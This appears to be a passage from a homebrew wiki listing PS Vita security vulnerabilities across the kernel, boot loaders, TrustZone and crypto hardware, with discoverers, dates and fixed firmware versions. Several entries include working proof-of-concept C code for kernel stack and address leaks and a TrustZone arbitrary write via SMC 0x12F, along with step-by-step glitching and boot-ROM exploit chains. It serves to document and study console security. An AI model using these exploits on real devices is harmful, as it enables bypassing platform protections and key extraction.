Discovered by Team Molecule in 2013 or 2014. Implemented in henkaku for System Software 1.80.
Write-up about h-encore kernel stack leak.
IMPORTANT: On old System Software versions (at least til FW 1.692) the voice definition address MUST NOT be xored (else SCE_NGS_ERROR_INVALID will be returned by sceNgsRackGetRequiredMemorySize function).
Below is a working implementation tested in System Software versions 0.995 and 1.692. Using the 1.692 DEVCTL_STACK_FRAME allows to get the kernel stack address faster on that version.
#define DEVCTL_STACK_FRAME 0x728 // value specific for 1.692 SceInt32 gRet = 0; SceUInt32 leak_kstack_addr_ngsuser(SceNgsHSynSystem synSys, SceUInt32 paramsize) { // exploit and ROP code by TheFloW - C code by LemonHaze SceInt32 ret = 0; SceNgsRackDescription rackDesc; rackDesc.nChannelsPerVoice = 1; rackDesc.nVoices = 1; rackDesc.nMaxPatchesPerInput = 0; rackDesc.nPatchesPerOutput = 1; unsigned int voiceDef[0x400]; memset(voiceDef, 0x00, 0x400); voiceDef[0] = SCE_NGS_VOICE_DEFINITION_MAGIC; voiceDef[1] = SCE_NGS_VOICE_DEFINITION_FLAGS; voiceDef[2] = 0x40; voiceDef[3] = 0x40; sceIoDevctl("", 0, voiceDef, 0x3FF, NULL, 0); sceKernelDelayThread(2*1000*1000); for (unsigned int addr = DEVCTL_STACK_FRAME; addr < 0x3000000; addr+= 0x1000) { rackDesc.pVoiceDefn = (struct SceNgsVoiceDefinition*)(addr); ret = sceNgsRackGetRequiredMemorySize(synSys, &rackDesc, ¶msize); gRet = ret; if (ret == SCE_NGS_ERROR_INVALID_PARAM) continue; else return (addr-DEVCTL_STACK_FRAME); } return -1; }
Another implementation, in ROP, to leak safemem address, can be seen here.
Below is a C code that easily mimics the vulnerability outline and the fix present in System Software version 3.700.011.
// 3.65 (probably up to 3.69 included) void *sceNgsVoiceGetDefSomething(void) { // ~~~ return kernel_ptr ^ 0x9e28dcce; } int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) { int ret = 0; int rackDesc[0x18 / sizeof(int)]; copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc)); rackDesc[0] ^= 0x9e28dcce; ret = check_voice(rackDesc[0]); if (ret < 0) // checks that kernel is mapped and voice definition valid return ret; return 0; } // 3.700.011 void *sceNgsVoiceGetDefSomething(void) { return def_id ^ def_xor; } int sceNgsRackGetRequiredMemorySize(int a1, void *pRackDesc, int *size) { int ret = 0; int rackDesc[0x18 / sizeof(int)]; copy_from_user(rackDesc, pRackDesc, sizeof(rackDesc)); rackDesc[0] = get_voice_def(rackDesc[0] ^ def_xor); ret = check_voice(rackDesc[0]); if (ret < 0) // checks that kernel is mapped and voice definition valid return ret; return 0; }
Fixed in FW 3.70.
Two memcpy bugs (used in h-encore)
Discovered in 2018 by TheFloW.
Should be exploitable on any firmware up to 3.69. Could even be vulnerable at other levels (TrustZone?, NSKBL?).
The 2 following bugs are exploited when using a negative length memcpy in order to use OOB without having a too big copied buffer nor triggering a segmentation fault.
memcpy integer overflow
If len is negative, the addition with dst will yield a value smaller than dst due to an integer overflow and as a consequence, the comparison later in the code will result in false, no matter if it is a signed or unsigned comparison, and thus it believes that there are less than 32 bytes to copy.
memcpy length comparizon as signed integer
At some point in memcpy function, the length is compared as signed integer. Hence a negative length will simply bypass the copy loop.
Kernel stack leak in sceUdcdGetDeviceInfo
Discovered on 2018-10-09 by TheFloW. Implemented in Trinity by TheFloW.
Fixed in FW 3.71.
Heap overflow in WLAN command 0x50120004
Discovered on 2018-09-26 by TheFloW. Implemented in Trinity by TheFloW.
Fixed in FW 3.71.
Kernel modules addresses leak by kernel non-syscall functions import from usermode fSELF
Discovered on 2020-10-21 by Princess of Sleeping.
SceKernelModulemgr kernel module is allowed to process non-syscall kernel functions exports even when imported by usermode modules.
Kernel ASLR bypass procedure is thus simple: load a custom usermode fSELF that has in its module imports section the NID of a non-syscall function exported by the target kernel module. When the custom usermode SELF is started, SceKernelModulemgr searches the function to import by its NID, decomposes the function address (4 bytes) into low and high, converts it to movw/movt/bx ip
, and copies it to the import table of the importing module. Once the usermode module imports have been resolved (that occurs between when sceKernelModuleStart is called and module_start is run), the attacker usermode SELF can refer to its own import table, decompose the instructions and translate it back to the function address then finally derive the address of the kernel module.
There are two limitations with this vulnerability exploitation:
- The target module must have a non-syscall export that is not in NONAME library. For example
module_start
is exported in NONAME library. Hence why SceSdstor, SceSysStateMgr and SceWlanBtRobinImageAx addresses for example cannot be leaked using this method. - The attacker needs to launch a custom fSELF on the target PS Vita. So this exploit can only be used on activated DevKits and TestKits but not on retail consoles, except if the attacker has an exploit to do so on retail consoles.
A vulnerable kernel module is for example SceIofilemgr, because it exports SceIofilemgr#sceIoOpenForDriver as non-syscall function in SceIofilemgrForDriver library. SceSysmem, SceSblSsMgr and a lot of kernel modules are also vulnerable.
Proof of concept code for FW 3.500.011-3.740.011:
uint32_t decode_addr(uint32_t* import) { /* Import thunk code for function at address 0xABCDEF01: * * movw r12, #0xEF01 * movt r12, #0xABCD * bx r12 * * In older firmware, a "ldr r12, [pc]" is used instead? */ uint32_t movw = import[0]; uint32_t movt = import[1]; /* movt/movw instruction load a 16-bit immediate * formed of 2 parts: 4-bits imm4 and 12-bits imm12 * concatened: imm16 = imm4:imm12. * * imm4 is bits 19-16 of instruction. * imm12 is bits 11-00 of instruction. * * We can right-shift imm4 by 4 to move it to 15-12, and OR with imm12 * to get imm16. */ #define DECODE_MOV_IMM16(instr) (((instr & (0xF << 16)) >> 4) | (instr & 0xFFF)) return (DECODE_MOV_IMM16(movt) << 16) | DECODE_MOV_IMM16(movw); #undef DECODE_MOV_IMM16 } // Kernel function we want to leak the address of SceUID sceKernelAllocMemBlockForKernel(char*, SceUInt32, SceUInt32, void*); int main(void) { printf("sceKernelAllocMemBlockForKernel -> 0x%08X\n", decode_addr((uint32_t*)&sceKernelAllocMemBlockForKernel); return 0; }
This vulnerability is present on every System Software versions and will likely never get fixed. However, this exploit does not work in external FW 3.00 (?and older?) because SceKernelModulemgr_sub_810047cc triggers kernel panic for usermode trying to import to kernel export. But strangely it became exploitable in many FWs after 3.00. On internal FWs, this vulnerability does not work as there are more assertions. There are also a few (one percent) external FWs >= 3.01 for which the exploit does not work.
Discovered in 2014 by Team Molecule. Implemented in 2020 by Princess of Sleeping.
Aim: Consider that you have code execution in process P1 and want to call syscall S1 exported from library L.
Problem: Consider that process P1 does not import syscall S1 using stubs.
Solution: Consider that process P1 imports syscall S2 from library L using stubs. Consider that another started process P2 imports syscall S1 from library L. Consider that you know the indexes of syscalls S1 and S2 in library L, for example thanks to bruteforce or thanks to a memory dump.
Result: Ensure that process P2 is still in memory. Compute syscalls 1 and 2 index difference D beforehand or let it be bruteforced (see Syscalls#Syscall ID estimation). You can call syscall S1 by running this PoC code in process P1:
int call_svc(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4, unsigned svc_number); int movw_to_int(void *arm_code, int *out) { unsigned int val = *(unsigned int *)(arm_code); if ((val & 0xFF000000) != 0xE3000000) return -1; if((val & 0x00F00000) != 0x00000000) return -1; *out = (val & 0xFFF) | ((val & 0xF0000) >> 4); return 0; } int S2(); // Automatically resolved by the kernel using stubs #define D (-1) // Can also be bruteforced but could cause instabilities depending on the arguments passed int S1(unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4) { int S2_syscall_no; if (movw_to_int(S2, &S2_syscall_no) != 0) return 0xcafebabe; if (D > 0) return call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - D); for (int d = 1; d < 0xFFF; ++i) call_svc(arg1, arg2, arg3, arg4, S2_syscall_no - d); return 0xdeadbeef; }
Tested in System Softwares 1.50 and 3.600.011 in fSELF on activated Kit. It might also work with usermode exploits, for example with WebKit exploits. It might also be used with the #Kernel stack buffer overflow in sceSblDmac5EncDec vulnerability and its writeup said that bruteforce was used instead of computing D.
This vulnerability affects every System Software versions and will likely never get fixed because of the architecture and of the performance drop it would cause.
SceMsif data segment address leak via vshMsifGetMsInfo
Discovered on 2021-12-29 by Princess of Sleeping.
MemoryCard's SceMsInfo, accessible to usermode via SceVshBridge#vshMsifGetMsInfo, contains a pointer to an area inside SceMsif module data segment. This allows to partially defeat kernel ASLR.
However, the call to SceVshBridge#vshMsifGetMsInfo must pass the SceSblACMgr#sceSblACIsSystemProgramForKernel check. Therefore, it is a useless exploit without a usermode exploit in a System application.
Not fixed as of FW 3.60.
Kernel stack leak via vshMsifGetMsInfo
Discovered on 2021-12-29 by Princess of Sleeping.
SceVshBridge#vshMsifGetMsInfo calls SceMsif#sceMsifGetMsInfoForDriver to get a 0x40-byte SceMsInfo. Unexpectedly, SceMsif#sceMsifGetMsInfoForDriver forgets to initialize some members of SceMsInfo (missing a memset at the beginning) then copies SceMsInfo to usermode memory. But the content that is actually leaked is a usermode memory pointer (4 bytes), so it seems useless unless someone can fill the kernel stack with sensitive kernel information, for example in order to leak kernel pointers to defeat kernel ASLR.
However, the call to SceVshBridge#vshMsifGetMsInfo must pass the SceSblACMgr#sceSblACIsSystemProgramForKernel check. Therefore, it is a useless exploit without a usermode exploit in a System application.
Not fixed as of FW 3.60.
Heap information leak in sceNetSyscallControl
Discovered in 2020-05 by TheFloW. Released on 2022-12-27.
Implemented in HENlo by TheFloW.
SceNetPs#sceNetSyscallControl allows to leak both SceNetPs base address and addresses of some SceNetPs internal objects such as iflist and softc headers.
SCE forgot to (OR 2) the flags in sceNetPsMalloc. Therefore, the allocated memory is in an uninitialized state, which leads to SceNetPs heap memory leak when issuing commands to retrieve information. However, the memory allocated before the start of the process that exploits SceNetPs is not leakable.
Not fixed as of FW 3.740.011.
Integer overflow leading to heap overflow in sceNetSyscallGetIfList
Discovered in 2018 by St4rk but not exploited by him as Team Molecule members told him that it was not exploitable. Rediscovered and exploited in 2020-05 by TheFloW. Released on 2022-12-27.
Implemented in HENlo by TheFloW.
SceNetPs#sceNetSyscallGetIfList has an argument to specify how many contents to get, but it does not have enough checks. This leads to arbitrary integer overflow when allocating memory with SceNetPs#sceNetPsMalloc.
int sceNetSyscallGetIfList(void *iflist, SceUInt32 num) { int res; void *iflist_kern; // ... iflist_kern = sceNetPsMalloc(num * 0x140); res = sce_netps_get_if_list(iflist_kern, num); // ... return res; }
If num is 0x199999A, then SceNetPs#sceNetSyscallGetIfList allocates 0x80 bytes of memory. Indeed, 0x199999A * 0x140 = 0x80
. As actual data copied are larger than 0x80 bytes, because each iflist has a size of 0x140 bytes, a heap overflow occurs.
Creativity was needed to exploit it because of heap cookies. Since we do not control the whole content, the function will just crash on free. But this function is calling a function pointer from an object on the heap which we can coincidentally overwrite with some controllable data. So it needs a precise heap feng shui to trigger.
Not fixed as of FW 3.740.011.
Kernel stack leak in sceNgsVoiceGetParamsOutOfRange
Discovered by TheFlow. Implemented in hencore-2 by TheFloW.
SceNgsUser#sceNgsVoiceGetParamsOutOfRange can be used to leak kernel stack data by passing to it negative indices.
PoC code tested on System Software 3.740.011:
// offset for FW 3.30-3.740.011 #define KERNEL_STACK_SLIDE 0x80 // offset for FW 3.740.011 #define SCE_SYSMEM_SLIDE 0x29f2c // Pre-exploitation initialization int res; uint32_t sys_size; SceNgsSystemInitParams init_param; SceNgsHSynSystem sys_handle; SceNgsRackDescription rack_desc; SceNgsBufferInfo buffer_info; SceNgsHRack rack_handle; SceNgsHVoice voice_handle; init_param.nMaxRacks = 64; init_param.nMaxVoices = 64; init_param.nGranularity = 512; init_param.nSampleRate = 48000; init_param.nMaxModules = 1; // Determine memory requirement for NGS system res = sceNgsSystemGetRequiredMemorySize(&init_param, &sys_size); // Allocate NGS system memory void *sys_mem = memalign(256, sys_size); // Initialize NGS system sceNgsSystemInit(sys_mem, sys_size, &init_param, &sys_handle); rack_desc.pVoiceDefn = sceNgsVoiceDefGetTemplate1(); rack_desc.nVoices = 1; rack_desc.nChannelsPerVoice = 1; rack_desc.nMaxPatchesPerInput = 0; rack_desc.nPatchesPerOutput = 1; rack_desc.pUserReleaseData = 0; // Determine memory requirement for NGS rack sceNgsRackGetRequiredMemorySize(sys_handle, &rack_desc, &(buffer_info.size)); // Allocate NGS rack memory buffer_info.data = memalign(256, buffer_info.size); // Initialize rack sceNgsRackInit(sys_handle, &buffer_info, &rack_desc, &rack_handle); // Get voice handle sceNgsRackGetVoiceHandle(rack_handle, 0, &voice_handle); // Exploitation uint32_t kstack_leak[0x20]; memset(kernel_stack_leak, 0, sizeof(kernel_stack_leak)); sceRtcGetCurrentClockLocalTime(NULL); sceNgsVoiceGetParamsOutOfRange(voice_handle, -1, (char *)kernel_stack_leak); uint32_t leaked_kernel_stack_address = kernel_stack_leak[0x6C / 4] - KERNEL_STACK_SLIDE; uint32_t sysmem_address = kernel_stack_leak[0x60 / 4] - SCE_SYSMEM_SLIDE;
Not fixed as of FW 3.740.011.
Non-Secure Kernel Boot Loader (NSKBL)
Ensō
Released on 2017-07-29 by Team Molecule.
Fixed in FW 3.67.
Buffer overflow during eMMC init
2016 - Yifan Lu discovers a buffer overflow in NSKBL that occurs during eMMC initialization. With kernel execution we can mod eMMC MBR to change block size. However at this time yifan was trying to exploit it with an adjacent malloc (controlled_size) and couldn't find a way so he just left it there.
Logic flaw about error checking
2017-04-30 - xyx finds a way to exploit the NSKBL eMMC buffer overflow. He discovers a logic flaw related to error code propagation in NSKBL. A function does not check a error return: if it did then the corrupted value in buffer overflow would not have been used. And later on the field that was written was used in a separate call.
It so allows for a usable buffer overflow in the data section and early code execution on ARM in non-secure privileged mode.
TrustZone
Note that a 1.80 TrustZone modules imports/exports list is available File:Psvita 1.80 tz nids.txt
SMC 0x12F does not validate arguments (arbitrary read/write and code execution)
Discovered on 2017-01-01 by Yifan Lu. Exploit implementation by Proxima.
See also sceSblSmSchedProxyGetStatusForKernel.
SMC 0x12F (sceSblSmSchedGetStatusMonitorCall) takes two unchecked arguments: req_id
and area
.
req_id
is a pointer to TrustZone memory in the form of (tz_addr >> 0x01)
and area
is an integer value calculated as ((shared_mem_blk_addr - shared_mem_base_addr) / 0x80)
.
By passing the right value as req_id
, SMC 0x12F will read 8 bytes from (tz_addr + 0x28)
and return them at (shared_mem_base_addr + index * 0x80)
which translates to a TrustZone arbitrary memory leak (8 bytes only).
By passing the right value as area
it is also possible to write the leaked data into an arbitrary TrustZone memory region.
The non-secure Kernel sees the shared memory region at 0x00400000
(size is 0x5000 bytes) and the Secure Kernel sees the exact same memory region at 0x00560000
, thus making it possible to plant data inside the non-secure Kernel's region and having the SMC copy this data somewhere into TrustZone memory (e.g.: TrustZone SceExcpmgr SMC table). This results in TrustZone level arbitrary code execution.
Example code exploiting this vulnerability to write 8 bytes from non-secure Kernel to TrustZone:
void tz_memcpy_8(uintptr_t dst, const void *src) { memcpy((void *)0x00400028, src, 8); uintptr_t req_id = 0x00560000 >> 1; uintptr_t area = (dst - 0x00560000) / 0x80; asm volatile( "mov r0, %0\n\t" "mov r1, %1\n\t" "mov r12, #0x12F\n\t" "smc #0\n\t" : : "r"(req_id), "r"(area) : "r12" ); }
To achieve code execution in TrustZone, it is needed to set dst to the SMC table address in order to plant 2 pointers (8 bytes = 2 pointers * 4 bytes).
- A full implementation by Proxima and SKGleba is available in broombroom repository, chained with .
Fixed somewhere around after FW 1.80 before FW 2.10.
Hardware
Dmac5
DMAC5 crypto engine allows overwrite of partial AES key allowing for key recovery
(2017-02-01) The Dmac5 crypto engine, accessible from the kernel, allows writing 4 bytes of key material at a time.
This makes it possible to recover plaintext AES keys via bruteforce.
Bigmac
Bigmac allows partial overwrite of previous AES operation result allowing for derived key recovery
(2017-04-21) Bigmac crypto engine, accessible from Cmep, has the following vulnerabilities:
- it leaves result of previous AES operation in the internal buffer that will be reused in the next AES operation
- it allows AES input data of less than 16 bytes (1 block) without adding padding
This makes it possible to recover plaintext Bigmac keyrings derived keys via bruteforce.
See [9].
Bigmac allows AES decryption in CTR mode leading to IDStorage certificates re-encryption
Discovered in 2017 or 2018 by Team Molecule and rediscovered by Princess of Sleeping on 2020-05-16. Implemented in CEX2DEX by Team FAPS.
AES decrypt in CTR mode can also be used for encryption in CTR mode since AES algorithm in CTR mode is a symmetric function.
Moreover, AES encryption in ECB mode can be obtained by executing AES encryption in CTR mode with input data as IV and zeroed block as source block.
After obtaining code execution in Cmep, one can AES encrypt in ECB mode the private key of an IDPS Certificate using keyring 0x212.
First Loader
Petite Mort
(2018-07-27) Petite Mort is a toolset to glitch the PS Vita First Loader.
Team Molecule found three software vulnerabilities in First Loader to exploit and dump it by glitching:
- The start of the SRAM is reused by First Loader as a scratch buffer for loading the SLSK. This scratch buffer can be overflown in order to overwrite the adjacent code. To exploit, glitch to bypass the SLSK maximum size check, in order to overflow the SLSK buffer in SRAM with a payload.
- The CMeP processor has the exception vectors set to this same SRAM location and there is no way to turn off exceptions. To exploit, firstly replace the first block of the SLSK file with an exception vector that will jump into a payload. Then trigger a glitch just after the block is loaded, to cause an exception and jump to the payload.
- After reset, First Loader loads secure_kernel.enp from the memory instead of from the eMMC. It copies 64 bytes of the SLSK file, verifies the header, and loads the rest of the file only if the header check passes. If the check fails, it does not wipe the data so in effect we are still able to overwrite the exception vectors, this time with only 64 bytes instead of 256. To exploit:
- Boot the PS Vita up normally using the Ensō exploit to get ARM NSKBL code execution (though ARM non-secure kernel would be sufficient).
- Privilege escalate to ARM TrustZone using a separate exploit.
- Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
- Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
- Load the exception vector payload in ARM TrustZone and trigger the glitcher with a sequence of characters written to UART console.
- After some time offset, the glitch happens and causes an exception in CMeP, which runs the payload.
The second and third vulnerabilities are detailed in the cMeP exception vectors reused as SLSK load buffer section.
So with these three software vulnerabilities and a hardware glitcher, one can finally get 16320 out of 16384 bytes of the boot ROM code. The remaining 64 bytes turn out to be just the original exception table which is the same entry to a panic, repeated 15 times. We also guess that the reset vector (0x0) points to the only boot code in the system.
- Source code available here.
- See also yifan lu's academic paper about Injecting Software Vulnerabilities with Voltage Glitching.
cMeP exception vectors reused as SLSK load buffer
(2018-07-27) When a SLSK is loaded by the First Loader, it is first read to 0x40000
which is the uncached alias of 0x800000
(both are cmep-only private memory) and then later decrypted to the final address it is executed from. However, 0x40000
is also where the exception vectors lie. By the time the SLSK is read, the exception vectors are stale and therefore the memory is safe to reuse. Interrupts are disabled, so we cannot use those. Exceptions, however cannot be disabled in hardware. Below is a summary of all the exceptions.
Exception | Offset | Note |
---|---|---|
Reset | 0x0 | Requires hardware reset signal |
NMI | 0x4 | Requires hardware NMI signal |
RI | 0x8 | No reserved instructions used |
ZDIV | 0xC | DIV/DIVU instructions are used in one place but safe from /0 bugs |
BRK | 0x10 | BRK instruction not used |
SWI | 0x14 | SWI/STC instructions not used |
DBG | 0x18 | The CMeP debugger can be used to send a non-maskable DINT |
DSP | 0x1C | No DSP unit |
COP | 0x20 | No coprocessor unit |
Through Glitching, we can inject a fault in either the decoding or execution units of the processor and trigger one of these exceptions. By writing a fake SLSK file that actually masquerades as a cmep exception handler table that all points to our payload, we can execute cmep code at bootrom time (before bootrom is unmapped). This is a very desirable glitching target because it almost requires no precision (any instruction anywhere can be "corrupted" into something that triggers an exception) and allows for "spray and pray" style of glitch attacks. In practice, Team Molecule found this target to have an insanely high success rate.
In First Loader there are two SLSK load paths. The first one is used at initial boot to read Second Loader .enp file from the eMMC or SD Card. In this first path, the minimum payload size is 0x200 bytes because at most one eMMC block must be read. The second path is used in early boot to read the Secure Kernel .enp or .enp_ file which is loaded from the SLB2 partition by ARM TrustZone to volatile memory. This second path is more difficult to reach because it requires a handshake between CMeP ("you are allowed to reset me") and ARM TrustZone ("I am going to reset cmep"). However, as long as both cmep and ARM TZ are pwned post-boot, the second path can be triggered.
The advantage of the first path is that it is easier and faster to trigger (always hits on first boot). The disadvantages are that it corrupts the first 0x200 bytes of cmep memory (which we might want to dump) and that it requires "bricking" the device if running from eMMC (because Second Loader is replaced by the payload). Note that with a proper hardware flasher and a backup beforehand, it is possible to unbrick a corrupted second loader.
The advantage of the second path is that it does not require a hardware flasher and that it only corrupts 0x40 bytes of cmep memory. The disadvantage is that it requires more work to trigger (code execution both in ARM TZ and cmep) and it takes longer to trigger (since you have to boot the system to a point where you can pwn both cmep and ARM TZ).
- See yifan lu's academic paper about Injecting Software Vulnerabilities with Voltage Glitching.
First Loader SLSK buffer overflow
(2019-08-30) In some development prototype PS Vita, the boot ROM does not check the SLSK header correctly. Specifically, the body_size field (at SLSK offset 0x10) is only checked after adding it to "offset_to_code". The calculation can overflow, for example, when body_size == -offset_to_code
. Further, when loading a SLSK binary from ARM, the size to copy in is calculated with (scratch->body_size + scratch->offset_to_code) - 0x40
. In the case that the sum of body_size and offset_to_code is 0, this calculation would underflow to -0x40, or 0xffffffc0, resulting in a huge amount of data being copied in and overwriting parts of the boot ROM.
This software vulnerability is far more convenient than the glitch ones as it does not require hardware nor risks bricking, but only works on some old prototype PS Vita models. To avoid the need of a hardware flasher, it is needed to avoid overwriting any SLSK in the sloader
partition but instead to use ARM TrustZone and CMeP exploits to load a custom Secure Kernel SLSK to volatile memory, do the handshake then trigger a reset.
The exploitation steps are similar to the ones of the third software vulnerability triggered by glitch:
- Boot the PS Vita up normally using the Ensō exploit to get ARM NSKBL code execution (though ARM non-secure kernel would be sufficient).
- Privilege escalate to ARM TrustZone using a separate exploit.
- Get code execution in CMeP (Second Loader, Secure Kernel or a Secure Module) with yet another exploit.
- Perform the reset handshake between CMeP Secure Kernel and ARM TrustZone.
- Load the exception vector payload and Secure Kernel SLSK with exploit body_size in header, using ARM TrustZone.
- After some time, the overflow happens and causes an exception in CMeP, which runs the payload.
- See the implementation of the First Loader SLSK buffer overflow by SKGleba and Proxima in the broombroom repository.
Confirmed present in PS Vita units with Product Sub Code 0xD and older. Fixed in PS Vita units with Product Sub Code 0xF and newer.
Second Loader
moth exploit
(2019-02-05) second_loader does not check idstorage minimum firmware version padding after decryption. In order to verify the minimum firmware version number, the binary blob from idstorage is decrypted using a console-specific key, verified using RSA, then decrypted again using a different console-specific key. At no point does it check that the padding of the final decryption is valid. This lets us transplant the block from one console to another by decrypting the outer layer on the donor console and encrypting it on the target. As the second key is different on the target console, after the final decryption we end up with random garbage. However, because the version number is a 4-byte integer, with a probability of 1/256 the major byte of the version would be 00, resulting in a minimum firmware of "0.garbage". This effectively lets us bypass the minimum firmware check implemented in second_loader and downgrade below the minimum firmware, provided that enough samples of the signed blob are collected.
Warning: second_loader sets SNVS handshake key partials by encrypting some hardcoded data with a per-console key; but it uses different data (and non-encrypted) if the minimum firmware version is lower than 0x996000 which, on release units, may lead to secure world not being able to read SNVS.
Dummy key used for release SLSK encryption
SLSK files were encrypted with an easily bruteforceable key.
Fixed in FW 3.70 by changing the SLSK key. But that fix cannot undo the result: most files in type 2 and type 3 PUPs are decryptable with keys except 3.70+ SLSK files. Yet 3.70+ SLSK keys can be retrieved using glitching (see #First Loader).
Secure Block
Secure Kernel
octopus exploit
(2017-02-18) secure_kernel module loading does not check source address and therefore provides an oracle allowing for memory dump. See https://teammolecule.github.io/35c3-slides/
Fixed in FW 1.80.
Secure Modules
AES CTR IV reused in some Certified Files
Discovered before 2014-08-16 by anonymous.
Sometimes SCE reused the same AES CTR keys and IVs in different Certified Files.
This allowed decrypting some SPKGs (extracted from PUP) and SELFs (e.g. applier_sm.self, kernel_boot_loader.self) if plaintext and encrypted blocks of another version of that Certified File were known.
See also [3].
Present in FW 0.945.
Fixed since at least FW 0.996 as all Certified Files started having always different IVs.
update_service_sm
Heap buffer overflow in update_service_sm
(2017-02-23) A heap buffer overflow exists in update_service_sm.[10]
kprx_auth_sm
Packed exploit
(2020-11-16 by PrincessOfSleeping) kprx_auth_sm verifies SELF header with RSA signature when loading module, but in FW 0.995.070 or lower there is a problem with the location of the RSA signature.
The hash included in the RSA signature is sha256 from the beginning of the header to the position of the RSA signature.
On FW 0.995.070 or lower, there is an unused zero filled area after RSA signature, but that part is not hash verified. So any data can be re-encrypted and packed in the zero filled area that follows the RSA signature. However, the size of this area is fixed and small, and there is no reason that it gets executed without an additional vulnerability.
As a counter-example, on FW 3.60, the SELF header size is 0x1000 bytes, the RSA signature offset is 0xF00 bytes, and the RSA signature size is 0x100 bytes, so there is no unused zero filled area.
Fixed in FW 0.996.070.
References
- ↑ https://code.google.com/p/chromium/issues/detail?id=63866
- ↑ http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html
- ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not.PDF
- ↑ https://www.blackhat.com/docs/eu-14/materials/eu-14-Chen-WebKit-Everywhere-Secure-Or-Not-WP.pdf
- ↑ https://cansecwest.com/slides/2015/Liang_CanSecWest2015.pdf
- ↑ http://community.eu.playstation.com/t5/Announcements-Events/PSM-scoreboard-service-is-closing/td-p/21263959
- ↑ https://yifan.lu/2017/02/19/psvimgtools-decrypt-vita-backups
- ↑ https://github.com/yifanlu/psvimgtools/tree/master/dump_partials
- ↑ https://lolhax.org/2019/01/02/extracting-keys-f00d-crumbs-raccoon-exploit
- ↑ https://yifan.lu/2019/01/11/the-first-f00d-exploit/